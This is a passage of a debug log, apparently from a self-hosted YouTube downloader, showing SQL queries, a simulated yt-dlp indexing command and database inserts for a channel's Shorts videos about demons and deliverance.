true, 1, ~U[2025-06-05 18:26:06Z]] 17:20:58.109 [debug] QUERY OK source="sources" db=0.1ms idle=41.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:58.110 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:58.110 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 17:20:58.110 [debug] Current batch of media processed. Will check again in 1000ms 17:20:59.111 [debug] Current batch of media processed. Will check again in 1000ms 17:20:59.261 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/2a/e7/2ae7a4db01229528b8e92931754964133b945a6521f0807d7cd0fafb85e8fec6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/dd/8f/dd8f28a8ffea5d2ef1c73b4ad7d5af334b9c16aab9cd331537ae18667791a0d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 17:20:59.261 [debug] Gracefully stopping file follower 17:20:59.262 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1152.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:59.262 [debug] QUERY OK source="sources" db=0.1ms idle=1152.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.262 [debug] QUERY OK source="media_items" db=0.1ms idle=1152.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 17:20:59.263 [debug] QUERY OK source="media_items" db=0.6ms idle=1152.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "f55ef6aa-efe4-45f8-a7b0-8ebff2b9644a", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 17:20:59.264 [debug] QUERY OK source="sources" db=0.1ms idle=194.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.264 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 17:20:59.265 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "03b39cac-febb-4526-8e0a-f0d45f137e2d", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 17:20:59.265 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.265 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 17:20:59.266 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "f1870782-f90f-45e9-905f-d9b1be0f4980", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 17:20:59.266 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.267 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 17:20:59.267 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "5715f620-7c58-4f0a-8f0d-2af431557afa", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 17:20:59.268 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.268 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 17:20:59.269 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "382e77e3-8ada-4727-93cd-8e39e8e35329", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 17:20:59.269 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.270 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 17:20:59.270 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "7bc6da10-6520-4dc7-8f85-0b041989a9f5", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 17:20:59.271 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.271 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 17:20:59.272 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "d9c0d551-a37f-4db8-96a9-85d950e4ef97", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 17:20:59.272 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.272 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 17:20:59.273 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "d4f1d081-9309-4045-b518-0dda74bc000b", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 17:20:59.273 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.273 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 17:20:59.274 [debug] QUERY OK source="media_items" db=0.6ms idle=1.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "b76b19f2-92de-4b21-af90-df70d0df82b7", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 17:20:59.275 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:59.275 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 17:20:59.276 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "48464241-80c2-472d-8be2-c867fbd2cb25", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 17:20:59.276 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z], 1] 17:20:59.277 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN 